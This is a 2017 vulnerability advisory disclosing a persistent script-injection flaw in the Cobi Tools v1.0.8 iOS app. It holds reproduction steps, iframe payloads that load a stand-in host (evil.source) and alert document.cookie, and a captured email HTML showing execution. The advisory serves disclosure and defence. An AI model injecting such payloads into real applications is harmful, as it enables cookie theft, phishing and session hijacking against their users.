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Cobi Tools v1.0.8 iOS - Persistent Web Vulnerability

Document Title:
===============
Cobi Tools v1.0.8 iOS - Persistent Web Vulnerability


References (Source):
====================
https://www.vulnerability-lab.com/get_content.php?id=2028


Release Date:
=============
2017-01-10


Vulnerability Laboratory ID (VL-ID):
====================================
2028


Common Vulnerability Scoring System:
====================================
3.5


Product & Service Introduction:
===============================
Cobi Tools allows your testers to e-mail their UDID from their phone. Console 
logs can also be emailed for debug assistance. 
For a more focused log, you can select various debug items to copy and email.

(Copy of the Homepage: http://www.appster.de/app/cobi-tools-375602941 )


Abstract Advisory Information:
==============================
The vulnerability laboratory core research team discovered a persistent input 
validation vulnerability in the obi Tools v1.0.8 apple ios mobile application.


Vulnerability Disclosure Timeline:
==================================
2017-01-10: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================
Cobi Interactive
Product: Cobi Tools - Mobile Application 1.0.8


Exploitation Technique:
=======================
Local


Severity Level:
===============
Medium


Technical Details & Description:
================================
A persistent input validation web vulnerability has been discovered in the cobi 
tools v1.0.8 apple ios mobile application.
The vulnerability allows an attacker to inject own malicious script codes 
persistent on the application-side to compromise.

The persistent web vulnerability is located in the `devicename` parameter of 
the `eventlog email` module. Attackers are able 
to inject malicious script code as `devicename` to provoke an execution within 
the `email body message` context. The injection 
point is the devicename in the idevice settings. The execution point of the bug 
occurs in the message body of the eventlog email. 
The content of the eventlog that generates the email is not parsed at all.

The security risk of the web vulnerability is estimated as medium with a cvss 
(common vulnerability scoring system) count of 3.5. 
Exploitation of the web vulnerability requires a low privilege ios device 
account with restricted access and low user interaction. 
Successful exploitation of the vulnerability results in persistent phishing 
mails, session hijacking, persistent external redirect 
to malicious sources and application-side manipulation of affected or connected 
module context.

Vulnerable Module(s)
[+] EventLog
 
Vulnerable Input(s):
[+] name

Vulnerable Parameter(s)
[+] devicename

Affected Module(s)
[+] Mail Message Body (Email)


Proof of Concept (PoC):
=======================
The persistent validation vulnerability can be exploited by attackers with low 
privilege iOS device user account and without user interaction.
For security demonstration or to reproduce the vulnerability follow the 
provided information and steps below to continue.

Manual steps to reproduce the vulnerability ...
1. Install the application to your idevice (iphone or ipad)
2. Start the mobile application
3. Open the idevice ios settigs
4. Change the devicename to a maliciousc script code test payload
5. Save the entry and open the installed application again
6. Move to the eventlog and click on top the email button
7. The email opens and the execute takes place in the message body context
8. Successful reproduce of the vulnerability!


Payload:
<iframe src=http://evil.source/poc onload=alert(document.cookie)>
<iframe src=http://evil.source/poc onload=alert(document.domain)>


PoC: Exploitation (iPhone Device Log for Eth0)
<meta http-equiv="content-type" content="text/html; ">
<div><font size="1"><b>Device Name:</b> Eth0 "&gt;<iframe src=evil.source/poc 
onload=alert(document.cookie)>&gt;&lt;
br/&gt;&lt;b&gt;Model:&lt;/b&gt; iPhone&lt;br/&gt;&lt;b&gt;Version:&lt;/b&gt; 
iPhone OS 10.1.1&lt;br/&gt;&lt;b&gt;UDID:&lt;/b&gt; 
FFFFFF4E7CD51C52B248CD59812D49B7A83&lt;br/&gt;&lt;br/&gt;Device log by &lt;a 
href="<a 
href="http://www.cobiinteractive.com";>http://www.cobiinteractive.com</a>"&gt;Cobi
 Tools&lt;/a&gt; iPhone 
App.&lt;/font&gt;&lt;/body&gt;&lt;html&gt;</iframe></font></div><div><br><br></div><br><fieldset
 class="mimeAttachmentHeader"><legend 
class="mimeAttachmentHeaderName">log.txt</legend></fieldset><br><div 
class="moz-text-plain"><pre wrap="">ÿþL</pre></div><BR/>
<div class="moz-text-plain"><pre wrap>
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<html><head><meta http-equiv="content-type" content="text/html; "></head><body 
dir="auto"><div></div><div></div></body></html></body>
</html>


Solution - Fix & Patch:
=======================
The solution is to parse the devicename of the ios device within the email 
message body context. Disallow the usage of 
special chars for devicenames in the app to prevent local exploitation.


Security Risk:
==============
The security risk of the persistent input validation vulnerability in the cobi 
tools application is estimated as medium. (CVSS 3.5)


Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri 
(research@xxxxxxxxxxxxxxxxxxxxx) 
[http://www.vulnerability-lab.com/show.php?user=Benjamin%20K.M.]


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=========================
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